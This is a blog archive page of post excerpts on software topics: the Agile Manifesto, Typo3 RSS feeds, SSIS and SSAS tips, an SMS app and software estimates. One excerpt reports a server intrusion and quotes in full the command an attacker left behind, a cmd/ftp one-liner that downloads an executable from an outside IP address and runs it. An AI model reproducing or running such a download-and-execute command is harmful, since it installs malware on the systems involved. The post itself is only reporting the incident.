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Manifesto for Agile Software Development We are uncovering better ways of developing software by doing it and helping others do it. Through this work we have come to value: Individuals and interactions over processes and tools Working software over comprehensive documentation Customer collaboration over contract negotiation Responding to change over following a plan That is, [...]

We are uncovering better ways of developing software by doing it and helping others do it. Through this work we have come to value: Individuals and interactions over processes and tools Working software over comprehensive documentation Customer collaboration over contract negotiation Responding to change over following a plan That is, while there is value in [...]

Dealing with virus or intrusion? One of our web servers had this command in its Run menu: cmd.exe /c del i&echo open 196.44.163.52 18451 > i&echo user 1 1 >> i &echo get 562.exe >> i &echo quit >> i &ftp -n -s:i &562.exe&del i&exit Seems that one or two others reported this as well. [...]

Inserting Typo3 rss feeds: The only way to do it, it seems is to have a server-side include. You need the lumophpinclude plugin “tx_lumophpinclude_pi1″. Then, specify URL via HTTP, plonk your PHP page in and take it for a test. I use PHP RSS Reader to embed a blog feed into the Answersintime site. Kudos [...]

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Good article on a horrible situation. James Bach???s Blog ?? Blog Archive ?? How to Investigate Intermittent Problems

This is a good start to standardise your DT… eh, SSIS projects. Most of his tips are straightforward but some seems hard-earned through hours of hitting his head on a SQL box. SSIS Junkie : SSIS: Suggested Best Practices and naming conventions

SSAS "attribute key cannot be found" message. Originally uploaded by lohanj. Here’s how to interpret the SSAS “attribute key cannot be found” message. Example error: Errors in the OLAP storage engine: The attribute key cannot be found: Table: dbo_vw_cs_categorysales, Column: cs_sto_id, Value: 50. Errors in the OLAP storage engine: The record was skipped because the [...]

SMS Notifier watches for incoming calls that are missed (i.e. not answered). Depending on configuration settings it does the following things: Send an SMS message to the caller (configurable contents), possibly containing also the end time of current appointment (configurable). Adds an item to calendar (containing the caller info)… ::mobile

Some comments on software estimates left at Coding Horror: How Long Would It Take if Everything Went Wrong?. Boring, but whateva… “Here’s a suggestion to use when estimating *someone else’s* time: Estimate = (1*Best case estimate)+(2*Realistic estimate)+(4*Worst case estimate) / 7 It weighs the estimate towards the worst case, but takes the best case and [...]